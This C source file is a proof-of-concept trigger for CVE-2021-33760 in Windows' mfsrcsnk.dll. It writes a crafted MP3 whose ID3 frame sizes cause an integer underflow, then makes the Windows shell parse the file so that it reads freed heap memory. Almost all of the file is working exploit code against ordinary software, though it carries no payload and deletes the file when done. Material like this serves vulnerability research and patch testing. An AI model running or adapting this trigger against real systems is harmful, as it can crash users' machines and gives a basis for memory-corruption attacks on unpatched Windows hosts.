/*
 * poc_cve_2021_33760.c — Trigger PoC for CVE-2021-33760
 *
 * Integer overflow in mfsrcsnk.dll MP3 header parsing leading to
 * OOB read on freed heap. Creates a crafted .mp3 file with specific
 * ID3 frame sizes that cause DoScanForFrameHeader's offset to be
 * reused after DoReadFirstFrameBody, underflowing REMAINING_SZ.
 *
 * Expected result on vulnerable systems: Access violation in
 * CMPEGFrame::DeSerializeFrameHeader reading from freed heap.
 *
 * Build: cl /nologo /W4 poc_cve_2021_33760.c /link ole32.lib shell32.lib
 * Run:   poc_cve_2021_33760.exe [-v]
 *
 * Author: OnlyFm252 / STAR Labs SG (based on advisory by Phan Thanh Duy et al.)
 * Date:   2026-07-26
 */

#define POC_CVE    "CVE-2021-33760"
#define POC_BINARY L"mfsrcsnk.dll"

#include <windows.h>
#include <stdio.h>
#include <shlobj.h>
#include <propkey.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "propsys.lib")
#pragma comment(lib, "version.lib")
#pragma comment(lib, "advapi32.lib")

static int g_verbose = 0;

/*
 * Build a crafted MP3 file that triggers the integer overflow.
 *
 * The key is creating an ID3v2 tag with specific frame sizes such that:
 * - DoScanForFrameHeader finds a sync word at a large offset (0x38D7)
 * - DoReadFirstFrameBody returns without updating the offset
 * - The second subtraction of REMAINING_SZ underflows
 *
 * We create a large ID3 tag (~0x3946 bytes) with embedded frame data
 * arranged to produce the stale offset condition.
 */
static BOOL CreateMalformedMp3(const wchar_t *path)
{
    FILE *fp = NULL;
    _wfopen_s(&fp, path, L"wb");
    if (!fp) {
        wprintf(L"[-] Cannot create file: %s\n", path);
        return FALSE;
    }

    /* ID3v2.3 header (10 bytes) */
    BYTE id3Header[10] = {
        'I', 'D', '3',     /* ID3 magic */
        0x03, 0x00,         /* Version 2.3.0 */
        0x00,               /* Flags: no unsynchronization */
        0x00, 0x00, 0x72, 0x46  /* Size: 0x3946 (syncsafe: 0x00007246) */
    };
    fwrite(id3Header, 1, 10, fp);

    /* Fill ID3 body with crafted data.
     * We need ~0x3946 bytes of ID3 data total.
     * Include one TIT2 frame with a large size to push the parser offset. */

    /* TIT2 frame header (10 bytes) */
    BYTE tit2Header[10] = {
        'T', 'I', 'T', '2',   /* Frame ID */
        0x00, 0x00, 0x38, 0xC0,  /* Size: 0x38C0 (large to push offset) */
        0x00, 0x00              /* Flags */
    };
    fwrite(tit2Header, 1, 10, fp);

    /* TIT2 data: 0x38C0 bytes of padding */
    BYTE pad[256];
    memset(pad, 0x41, sizeof(pad));
    DWORD remaining = 0x38C0;
    while (remaining > 0) {
        DWORD chunk = (remaining > sizeof(pad)) ? sizeof(pad) : remaining;
        fwrite(pad, 1, chunk, fp);
        remaining -= chunk;
    }

    /* Remaining ID3 data to reach 0x3946 total */
    DWORD id3BodyWritten = 10 + 0x38C0;  /* TIT2 header + data */
    DWORD id3Remaining = 0x3946 - id3BodyWritten;
    memset(pad, 0, sizeof(pad));
    while (id3Remaining > 0) {
        DWORD chunk = (id3Remaining > sizeof(pad)) ? sizeof(pad) : id3Remaining;
        fwrite(pad, 1, chunk, fp);
        id3Remaining -= chunk;
    }

    /* MP3 frame sync followed by frame header data.
     * This is where DoScanForFrameHeader finds the sync.
     * MPEG1 Layer3 128kbps 44100Hz stereo */
    BYTE mp3Frame[4] = { 0xFF, 0xFB, 0x90, 0x00 };
    fwrite(mp3Frame, 1, 4, fp);

    /* Some frame data (enough for a minimal frame body) */
    memset(pad, 0, sizeof(pad));
    fwrite(pad, 1, 128, fp);

    /* Another frame to cause the second iteration */
    fwrite(mp3Frame, 1, 4, fp);
    fwrite(pad, 1, 128, fp);

    fclose(fp);

    wprintf(L"[+] Created malformed .mp3: ~%d bytes\n",
            10 + 0x3946 + 4 + 128 + 4 + 128);
    return TRUE;
}

int wmain(int argc, wchar_t *argv[])
{
    wprintf(L"=== PoC: %S ===\n", POC_CVE);
    wprintf(L"Binary: %s\n", POC_BINARY);
    wprintf(L"Bug:    Integer overflow in CMP3MediaSourcePlugin::ParseHeader\n");
    wprintf(L"Impact: OOB read on freed heap in DeSerializeFrameHeader\n\n");

    if (argc > 1 && wcscmp(argv[1], L"-v") == 0)
        g_verbose = 1;

    /* Create malformed .mp3 file */
    wchar_t tempPath[MAX_PATH];
    wchar_t mp3Path[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    wsprintfW(mp3Path, L"%spoc_33760.mp3", tempPath);

    if (!CreateMalformedMp3(mp3Path))
        return 1;

    /* Trigger metadata parsing via property store */
    wprintf(L"[+] Triggering MP3 metadata parse via SHGetPropertyStoreFromParsingName...\n");
    wprintf(L"    (On vulnerable systems this may crash reading freed heap)\n\n");

    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    IPropertyStore *pStore = NULL;
    HRESULT hr = SHGetPropertyStoreFromParsingName(
        mp3Path, NULL, GPS_DEFAULT, &IID_IPropertyStore, (void **)&pStore);

    if (SUCCEEDED(hr)) {
        wprintf(L"[+] Property store opened — parser executed\n");
        if (pStore) pStore->lpVtbl->Release(pStore);
    } else {
        wprintf(L"[-] SHGetPropertyStoreFromParsingName: 0x%08X\n", hr);
    }

    CoUninitialize();

    /* Cleanup */
    DeleteFileW(mp3Path);

    wprintf(L"\n[+] Done. Check for crash dumps if on vulnerable system.\n");
    return 0;
}
